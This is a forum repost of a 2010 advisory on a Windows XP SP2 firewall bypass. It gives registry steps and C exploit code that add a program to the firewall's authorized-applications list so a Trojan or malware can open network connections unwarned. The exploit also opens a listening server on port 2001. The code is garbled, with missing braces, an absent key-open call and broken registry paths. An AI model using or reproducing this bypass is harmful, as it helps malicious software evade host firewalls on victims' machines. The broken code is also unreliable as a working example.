Bypassing Windows-XP Firewall

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Old 20-Jun-2010
Wink Bypassing Windows-XP Firewall


Bypassing Windows-XP Firewall

There is a technique using which we can bypass windows-xp service pack-2 firewall.
This techniques is nothing but the vulnerability found in windows-xp sp2 firewall.
This is explained here in detail with exploit code.

Windows XP Firewall Bypassing (Registry Based) :- Microsoft Windows XP SP2 comes bundled with a Firewall. Direct access to Firewall's registry keys allow local attackers to bypass the Firewall blocking list and allow malicious program to connect the network.

Credit :-
The information has been provided by Mark Kica.
The original article can be found at: Register
Vulnerable Systems :-
* Microsoft Windows XP SP2
Windows XP SP2 Firewall has list of allowed program in registry which are not properly protected from modification by a malicious local attacker.
If an attacker adds a new key to the registry address of HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Servic es\ SharedAccess\Parameters\FirewallPolicy\StandardPro file\ AuthorizedApplications\List, the attacker can enable his malware or Trojan to connect to the Internet without the Firewall triggering a warning.
Proof of Concept :-
Launch the regedit.exe program and access the keys found under the following path:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Servic es\ SharedAccess\Parameters\FirewallPolicy\StandardPro file\ AuthorizedApplications\List
Add an entry key such as this one:
Name: C:\chat.exe
Value: C:\chat.exe:*:Enabledat

Exploit :-
#include "Shlwapi.h"
int main( int argc, char *argv [] )
char buffer[1024];
char filename[1024];
HKEY hKey;
int i;
GetModuleFileName(NULL, filename, 1024);
strcpy(buffer, filename);
strcat(buffer, ":*:Enabled:");
strcat(buffer, "bugg");
"SYSTEM\\CurrentControlSet\\Services" "\\SharedAccess\\Parameters\\FirewallPolicy\\Stand ardProfile" "\\AuthorizedApplications\\List",
RegSetValueEx(hKey, filename, 0, REG_SZ, buffer, strlen(buffer));

int temp, sockfd, new_fd, fd_size;
struct sockaddr_in remote_addr;
fprintf(stdout, "Simple server example with Anti SP2 firewall trick \n");
fprintf(stdout, " This is not trojan \n");
fprintf(stdout, " Opened port is :2001 \n");
fprintf(stdout, "author:Mark Kica student of Technical University Kosice\n");
fprintf(stdout, "Dedicated to Katka H. from Levoca \n");
if ((sockfd = ezsocket(NULL, NULL, 2001, SERVER)) == -1)
return 0;
for (; ; )
RegDeleteValue(hKey, filename);
fd_size = sizeof(struct sockaddr_in);
if ((new_fd = accept(sockfd, (struct sockaddr *)&remote_addr, &fd_size)) == -1)
temp = send(new_fd, "Hello World\r\n", strlen("Hello World\r\n"), 0);
fprintf(stdout, "Sended: Hello World\r\n");
temp = recv(new_fd, buffer, 1024, 0);
buffer[temp] = '\0';
fprintf(stdout, "Recieved: %s\r\n", buffer);
RegSetValueEx(hKey, filename, 0, REG_SZ, buffer, strlen(buffer));
if (!strcmp(buffer, "quit"))
return 0;
/* EoF */

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